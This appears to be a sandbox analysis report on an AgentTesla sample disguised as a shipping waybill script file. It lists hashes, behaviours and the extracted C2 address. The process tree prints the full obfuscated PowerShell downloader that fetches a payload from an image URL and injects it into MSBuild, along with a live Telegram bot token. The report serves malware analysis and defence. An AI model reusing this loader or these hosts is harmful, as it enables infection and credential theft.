Analysis

  • max time kernel
    94s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-01-2025 07:52

General

  • Target

    Shipping Docs_waybill NO 2005xxx351.wsf

  • Size

    189KB

  • MD5

    3b970c76dbc74cd9b119f487a22c1683

  • SHA1

    4ebb9876723c2fc5fda46b098094cf0104efac55

  • SHA256

    73b63a59ea3c5c6f049420fb7a4a4dc4e91036c24e2b25bae406aac1f56a1812

  • SHA512

    74f4bbe6c8ff3769e4a70189bf28aba7ac0bf8c6a4440c88b24fa6d2207ea4169f032b37d465ca981f2bc4f69f25fd089256bde24d88f7a4e003f6d80beef821

  • SSDEEP

    3072:z/zQ6Vv//riU/tEqZjCwNZiU/tEyWiU/tEqZjCwNZiU/tEAI6:0U/tESLNQU/tEylU/tESLNQU/tEa

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6050556352:AAE_-mublQ2CllMbT9xkQVBjSBbdvdYR1kM/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Docs_waybill NO 2005xxx351.wsf"
    1⤵
    • Checks computer location settings
    • System Network Configuration Discovery: Internet Connection Discovery
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $exactitude = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABiAGEAZgB0AGEAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADUANAAzADYANgAyAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwBoADgAYgB0AHcAYwAuAGoAcABnACAAJwA7ACQAcwB0AGEAcgBjAGgAaQBlAHMAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABwAGEAcgBhAGcAYQBsAGEAYwB0AGkAbgAgAD0AIAAkAHMAdABhAHIAYwBoAGkAZQBzAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYgBhAGYAdABhACkAOwAkAGQAYQByAHIAYQBpAGcAbgBlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABwAGEAcgBhAGcAYQBsAGEAYwB0AGkAbgApADsAJAB1AG4AcwBvAHUAbgBkAGwAeQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAVABhAGwAZQBzAGUAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAZQBsAG8AYwB1AHQAZQAgAD0AIAAkAGQAYQByAHIAYQBpAGcAbgBlAGQALgBJAG4AZABlAHgATwBmACgAJAB1AG4AcwBvAHUAbgBkAGwAeQApADsAJABjAGgAcgBpAHMAdABvAHAAaABhAG4AeQAgAD0AIAAkAGQAYQByAHIAYQBpAGcAbgBlAGQALgBJAG4AZABlAHgATwBmACgAJABUAGEAbABlAHMAZQApADsAJABlAGwAbwBjAHUAdABlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYwBoAHIAaQBzAHQAbwBwAGgAYQBuAHkAIAAtAGcAdAAgACQAZQBsAG8AYwB1AHQAZQA7ACQAZQBsAG8AYwB1AHQAZQAgACsAPQAgACQAdQBuAHMAbwB1AG4AZABsAHkALgBMAGUAbgBnAHQAaAA7ACQAdQB0AGwAYQByAHkAIAA9ACAAJABjAGgAcgBpAHMAdABvAHAAaABhAG4AeQAgAC0AIAAkAGUAbABvAGMAdQB0AGUAOwAkAGgAZQBtAG8AbAB5AHQAaQBjAGEAbABsAHkAIAA9ACAAJABkAGEAcgByAGEAaQBnAG4AZQBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGUAbABvAGMAdQB0AGUALAAgACQAdQB0AGwAYQByAHkAKQA7ACQAYQBuAGMAaQBsAGwAYQAgAD0AIAAtAGoAbwBpAG4AIAAoACQAaABlAG0AbwBsAHkAdABpAGMAYQBsAGwAeQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAaABlAG0AbwBsAHkAdABpAGMAYQBsAGwAeQAuAEwAZQBuAGcAdABoACkAXQA7ACQATABhAFQAbwBuAHkAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAG4AYwBpAGwAbABhACkAOwAkAHAAcgBvAGYAZQBjAHQAaQBvAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQATABhAFQAbwBuAHkAYQApADsAJABjAG8AbABkAGMAbwBjAGsAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJABjAG8AbABkAGMAbwBjAGsALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAOAA2AGYAZAAyAGEAMQAzADkAYgA5ADEALQA3AGUAYgBhAC0ANwAxADkANAAtAGMAMwBlAGEALQBhADkAYgBiADgAZgBhAGYAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AYQB6AGEARwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA2ADcANwBkADIALQBvAGwAbwBwAGgAdABhAGsALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoACcALAAgACcAaQBuAGMAbwBuAGcAcgB1AG8AdQBzAGwAeQAnACwAIAAnAGkAbgBjAG8AbgBnAHIAdQBvAHUAcwBsAHkAJwAsACAAJwBpAG4AYwBvAG4AZwByAHUAbwB1AHMAbAB5ACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGkAbgBjAG8AbgBnAHIAdQBvAHUAcwBsAHkAJwAsACAAJwBpAG4AYwBvAG4AZwByAHUAbwB1AHMAbAB5ACcALAAnAGkAbgBjAG8AbgBnAHIAdQBvAHUAcwBsAHkAJwAsACcAaQBuAGMAbwBuAGcAcgB1AG8AdQBzAGwAeQAnACwAJwBpAG4AYwBvAG4AZwByAHUAbwB1AHMAbAB5ACcALAAnAGkAbgBjAG8AbgBnAHIAdQBvAHUAcwBsAHkAJwAsACcAaQBuAGMAbwBuAGcAcgB1AG8AdQBzAGwAeQAnACwAJwAxACcALAAnAGkAbgBjAG8AbgBnAHIAdQBvAHUAcwBsAHkAJwAsACcAYQByAHQAaAByAG8AcwBjAG8AcAB5ACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$Ashkenazy = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($exactitude));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $Ashkenazy
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$bafta = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg ';$starchiest = New-Object System.Net.WebClient;$paragalactin = $starchiest.DownloadData($bafta);$darraigned = [System.Text.Encoding]::UTF8.GetString($paragalactin);$unsoundly = '<<BASE64_START>>';$Talese = '<<BASE64_END>>';$elocute = $darraigned.IndexOf($unsoundly);$christophany = $darraigned.IndexOf($Talese);$elocute -ge 0 -and $christophany -gt $elocute;$elocute += $unsoundly.Length;$utlary = $christophany - $elocute;$hemolytically = $darraigned.Substring($elocute, $utlary);$ancilla = -join ($hemolytically.ToCharArray() | ForEach-Object { $_ })[-1..-($hemolytically.Length)];$LaTonya = [System.Convert]::FromBase64String($ancilla);$profection = [System.Reflection.Assembly]::Load($LaTonya);$coldcock = [dnlib.IO.Home].GetMethod('VAI');$coldcock.Invoke($null, @('86fd2a139b91-7eba-7194-c3ea-a9bb8faf=nekot&aidem=tla?txt.azaG/o/moc.topsppa.677d2-olophtak/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth', 'incongruously', 'incongruously', 'incongruously', 'MSBuild', 'incongruously', 'incongruously','incongruously','incongruously','incongruously','incongruously','incongruously','1','incongruously','arthroscopy'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3688
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:4404
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • Accesses Microsoft Outlook profiles
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:5096

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ser5erkj.j3a.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2328-33-0x00007FFF88E70000-0x00007FFF89931000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-12-0x00007FFF88E70000-0x00007FFF89931000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-23-0x00007FFF88E73000-0x00007FFF88E75000-memory.dmp

      Filesize

      8KB

    • memory/2328-24-0x00007FFF88E70000-0x00007FFF89931000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-13-0x00007FFF88E70000-0x00007FFF89931000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-1-0x00007FFF88E73000-0x00007FFF88E75000-memory.dmp

      Filesize

      8KB

    • memory/2328-11-0x000001B3F6DC0000-0x000001B3F6DE2000-memory.dmp

      Filesize

      136KB

    • memory/3688-25-0x0000026156680000-0x000002615683A000-memory.dmp

      Filesize

      1.7MB

    • memory/3688-26-0x00000261157E0000-0x00000261157EC000-memory.dmp

      Filesize

      48KB

    • memory/5096-27-0x0000000000400000-0x0000000000430000-memory.dmp

      Filesize

      192KB

    • memory/5096-34-0x0000000005650000-0x0000000005BF4000-memory.dmp

      Filesize

      5.6MB

    • memory/5096-35-0x0000000005020000-0x0000000005086000-memory.dmp

      Filesize

      408KB

    • memory/5096-37-0x00000000061A0000-0x0000000006232000-memory.dmp

      Filesize

      584KB

    • memory/5096-38-0x0000000006130000-0x000000000613A000-memory.dmp

      Filesize

      40KB

    • memory/5096-39-0x00000000063F0000-0x0000000006440000-memory.dmp

      Filesize

      320KB

    • memory/5096-40-0x0000000006610000-0x00000000067D2000-memory.dmp

      Filesize

      1.8MB